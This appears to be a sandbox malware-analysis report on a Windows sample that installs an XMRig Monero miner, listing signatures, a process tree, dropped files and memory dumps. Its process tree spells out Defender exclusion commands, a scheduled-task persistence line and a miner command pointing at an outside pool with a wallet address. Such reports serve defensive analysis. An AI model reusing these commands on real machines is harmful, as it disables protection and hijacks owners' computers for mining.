Analysis

  • max time kernel
    92s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/12/2022, 08:39

General

  • Target
    file.exe
  • Size 1.4MB
  • Sample221203-kkac5sha92
  • SHA256 d5e596c6e0b0d31a26a6a6343ddb18b35e0643b76cf36735d5d42b503b8cc19d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:640
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4608
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCA4A.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3604
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1080
      • C:\ProgramData\netcore\PWOJ.exe
        "C:\ProgramData\netcore\PWOJ.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2412
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PWOJ" /tr "C:\ProgramData\netcore\PWOJ.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PWOJ" /tr "C:\ProgramData\netcore\PWOJ.exe"
            5⤵
            • Creates scheduled task(s)
            PID:2372
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3108

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        PWOJ.exe

        • Path C:\ProgramData\netcore\PWOJ.exe
        • Size 1.4MB
        • SHA256 d5e596c6e0b0d31a26a6a6343ddb18b35e0643b76cf36735d5d42b503b8cc19d
        • MD5 SHA1 SHA512 SSDEEP

        PWOJ.exe

        • Path C:\ProgramData\netcore\PWOJ.exe
        • Size 1.4MB
        • SHA256 d5e596c6e0b0d31a26a6a6343ddb18b35e0643b76cf36735d5d42b503b8cc19d
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 7ea18b6f900f2c30a5c34845d62d4fe9fc1f11e40714b3dbd69592cbfb5dc695
        • MD5 SHA1 SHA512

        tmpCA4A.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmpCA4A.tmp.bat
        • Size 140B
        • SHA256 804885bfcac631cca3d6bb49bcb6cfb278a80a82e15741ad0d9f21d89855b261
        • MD5 SHA1 SHA512

        memory/628-181-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/628-184-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/640-144-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/640-141-0x00007FFCABE70000-0x00007FFCABFBE000-memory.dmp

        memory/640-139-0x00007FFCC8300000-0x00007FFCC832B000-memory.dmp

        memory/640-134-0x00007FFCC6EF0000-0x00007FFCC6F8E000-memory.dmp

        memory/640-140-0x0000000000020000-0x00000000001F6000-memory.dmp

        memory/640-148-0x0000000000020000-0x00000000001F6000-memory.dmp

        memory/640-149-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/640-138-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/640-135-0x00007FFCC4330000-0x00007FFCC4342000-memory.dmp

        memory/640-137-0x00007FFCC6D40000-0x00007FFCC6EE1000-memory.dmp

        memory/640-142-0x0000000000020000-0x00000000001F6000-memory.dmp

        memory/640-136-0x00007FFCAC260000-0x00007FFCAC31D000-memory.dmp

        memory/640-143-0x00000000032D0000-0x0000000003311000-memory.dmp

        memory/640-133-0x00007FFCAC320000-0x00007FFCAC3CA000-memory.dmp

        memory/2412-180-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/2412-183-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/3108-204-0x000002417EC70000-0x000002417EC90000-memory.dmp

        memory/3108-199-0x000002417EC10000-0x000002417EC50000-memory.dmp

        memory/3108-196-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3108-195-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3108-193-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3108-198-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3108-197-0x000002417E660000-0x000002417E680000-memory.dmp

        memory/3108-200-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3108-203-0x000002417EC50000-0x000002417EC70000-memory.dmp

        memory/3108-206-0x000002417EC70000-0x000002417EC90000-memory.dmp

        memory/3108-205-0x000002417EC50000-0x000002417EC70000-memory.dmp

        memory/4440-150-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4440-157-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4476-189-0x00007FFCC57E0000-0x00007FFCC581B000-memory.dmp

        memory/4476-174-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4476-173-0x0000000001170000-0x00000000011B1000-memory.dmp

        memory/4476-171-0x0000000000F60000-0x0000000001136000-memory.dmp

        memory/4476-172-0x00007FFCABD00000-0x00007FFCABE4E000-memory.dmp

        memory/4476-185-0x00007FFCC6410000-0x00007FFCC6437000-memory.dmp

        memory/4476-186-0x00007FFCAC1F0000-0x00007FFCAC225000-memory.dmp

        memory/4476-187-0x00007FFCA6DB0000-0x00007FFCA6EB2000-memory.dmp

        memory/4476-169-0x00007FFCC8300000-0x00007FFCC832B000-memory.dmp

        memory/4476-188-0x00007FFCC83F0000-0x00007FFCC845B000-memory.dmp

        memory/4476-190-0x0000000000F60000-0x0000000001136000-memory.dmp

        memory/4476-191-0x0000000001170000-0x00000000011B1000-memory.dmp

        memory/4476-192-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4476-170-0x0000000000F60000-0x0000000001136000-memory.dmp

        memory/4476-168-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4476-167-0x00007FFCC6D40000-0x00007FFCC6EE1000-memory.dmp

        memory/4476-166-0x00007FFCABE50000-0x00007FFCABF0D000-memory.dmp

        memory/4476-165-0x00007FFCC4330000-0x00007FFCC4342000-memory.dmp

        memory/4476-164-0x00007FFCC6EF0000-0x00007FFCC6F8E000-memory.dmp

        memory/4476-163-0x00007FFCABF10000-0x00007FFCABFBA000-memory.dmp

        memory/4476-201-0x0000000000F60000-0x0000000001136000-memory.dmp

        memory/4476-202-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4608-158-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4608-152-0x000001D070AE0000-0x000001D070B02000-memory.dmp

        memory/4608-151-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp